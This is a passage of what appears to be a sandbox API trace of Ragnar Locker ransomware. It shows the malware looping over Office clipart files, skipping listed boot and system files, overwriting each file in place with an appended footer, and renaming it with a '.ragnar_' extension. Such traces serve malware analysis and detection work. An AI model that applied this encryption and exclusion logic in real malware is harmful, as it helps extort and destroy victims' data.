returned -1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="ntuser.dat.log") returned -1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="ntuser.ini") returned -1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="thumbs.db") returned -1 [0087.487] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.488] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.488] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.488] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.488] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.488] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.488] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf")) returned 0x20 [0087.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.489] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=67726) returned 1 [0087.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10885, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.489] GetProcessHeap () returned 0x580000 [0087.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.489] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.490] VirtualAlloc (lpAddress=0x0, dwSize=0x1088e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.491] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1088e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1088e, lpOverlapped=0x0) returned 1 [0087.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.493] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1088e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.493] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1088e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1088e, lpOverlapped=0x0) returned 1 [0087.494] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1088e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.494] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1088e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.494] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.494] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.494] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.494] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.494] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.494] GetProcessHeap () returned 0x580000 [0087.494] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.495] CloseHandle (hObject=0xf4) returned 1 [0087.495] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" [0087.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.ragnar_FD7BD9FC" [0087.495] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1 [0087.496] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.496] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0296288.WMF" | out: lpString1="J0296288.WMF") returned="J0296288.WMF" [0087.496] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF") returned=".WMF" [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="autorun.inf") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="boot.ini") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="bootfont.bin") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="bootsect.bak") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="bootmgr") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="bootmgr.efi") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="bootmgfw.efi") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="desktop.ini") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="iconcache.db") returned 1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="ntldr") returned -1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="ntuser.dat") returned -1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="ntuser.dat.log") returned -1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="ntuser.ini") returned -1 [0087.496] lstrcmpiW (lpString1="J0296288.WMF", lpString2="thumbs.db") returned -1 [0087.496] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.496] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.496] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.496] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.496] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.496] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.496] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf")) returned 0x20 [0087.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.497] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=67564) returned 1 [0087.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x107e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.497] GetProcessHeap () returned 0x580000 [0087.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.497] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.498] VirtualAlloc (lpAddress=0x0, dwSize=0x107ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.499] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x107ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x107ec, lpOverlapped=0x0) returned 1 [0087.501] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.501] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x107ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.501] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x107ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x107ec, lpOverlapped=0x0) returned 1 [0087.502] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x107ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.502] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x107ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.502] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.502] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.502] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.502] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.502] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.502] GetProcessHeap () returned 0x580000 [0087.502] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.502] CloseHandle (hObject=0xf4) returned 1 [0087.503] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" [0087.503] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.ragnar_FD7BD9FC" [0087.503] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.503] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1 [0087.503] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.503] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0297229.WMF" | out: lpString1="J0297229.WMF") returned="J0297229.WMF" [0087.503] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF") returned=".WMF" [0087.503] lstrcmpiW (lpString1="J0297229.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.503] lstrcmpiW (lpString1="J0297229.WMF", lpString2="autorun.inf") returned 1 [0087.503] lstrcmpiW (lpString1="J0297229.WMF", lpString2="boot.ini") returned 1 [0087.503] lstrcmpiW (lpString1="J0297229.WMF", lpString2="bootfont.bin") returned 1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="bootsect.bak") returned 1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="bootmgr") returned 1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="bootmgr.efi") returned 1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="bootmgfw.efi") returned 1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="desktop.ini") returned 1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="iconcache.db") returned 1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="ntldr") returned -1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="ntuser.dat") returned -1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="ntuser.dat.log") returned -1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="ntuser.ini") returned -1 [0087.504] lstrcmpiW (lpString1="J0297229.WMF", lpString2="thumbs.db") returned -1 [0087.504] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.504] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.504] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.504] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.504] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.504] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.504] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf")) returned 0x20 [0087.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.505] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22990) returned 1 [0087.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.505] GetProcessHeap () returned 0x580000 [0087.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.505] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.506] VirtualAlloc (lpAddress=0x0, dwSize=0x59ce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.506] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x59ce, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x59ce, lpOverlapped=0x0) returned 1 [0087.507] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.507] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x59ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.507] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x59ce, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x59ce, lpOverlapped=0x0) returned 1 [0087.508] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x59ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.508] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.508] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.508] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.508] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.508] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.509] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.509] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.509] GetProcessHeap () returned 0x580000 [0087.509] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.509] CloseHandle (hObject=0xf4) returned 1 [0087.510] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" [0087.510] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.ragnar_FD7BD9FC" [0087.510] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1 [0087.510] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.510] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0297269.WMF" | out: lpString1="J0297269.WMF") returned="J0297269.WMF" [0087.510] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF") returned=".WMF" [0087.510] lstrcmpiW (lpString1="J0297269.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.510] lstrcmpiW (lpString1="J0297269.WMF", lpString2="autorun.inf") returned 1 [0087.510] lstrcmpiW (lpString1="J0297269.WMF", lpString2="boot.ini") returned 1 [0087.510] lstrcmpiW (lpString1="J0297269.WMF", lpString2="bootfont.bin") returned 1 [0087.510] lstrcmpiW (lpString1="J0297269.WMF", lpString2="bootsect.bak") returned 1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="bootmgr") returned 1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="bootmgr.efi") returned 1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="bootmgfw.efi") returned 1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="desktop.ini") returned 1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="iconcache.db") returned 1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="ntldr") returned -1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="ntuser.dat") returned -1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="ntuser.dat.log") returned -1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="ntuser.ini") returned -1 [0087.511] lstrcmpiW (lpString1="J0297269.WMF", lpString2="thumbs.db") returned -1 [0087.511] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.511] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.511] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.511] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.511] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.511] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.511] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf")) returned 0x20 [0087.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 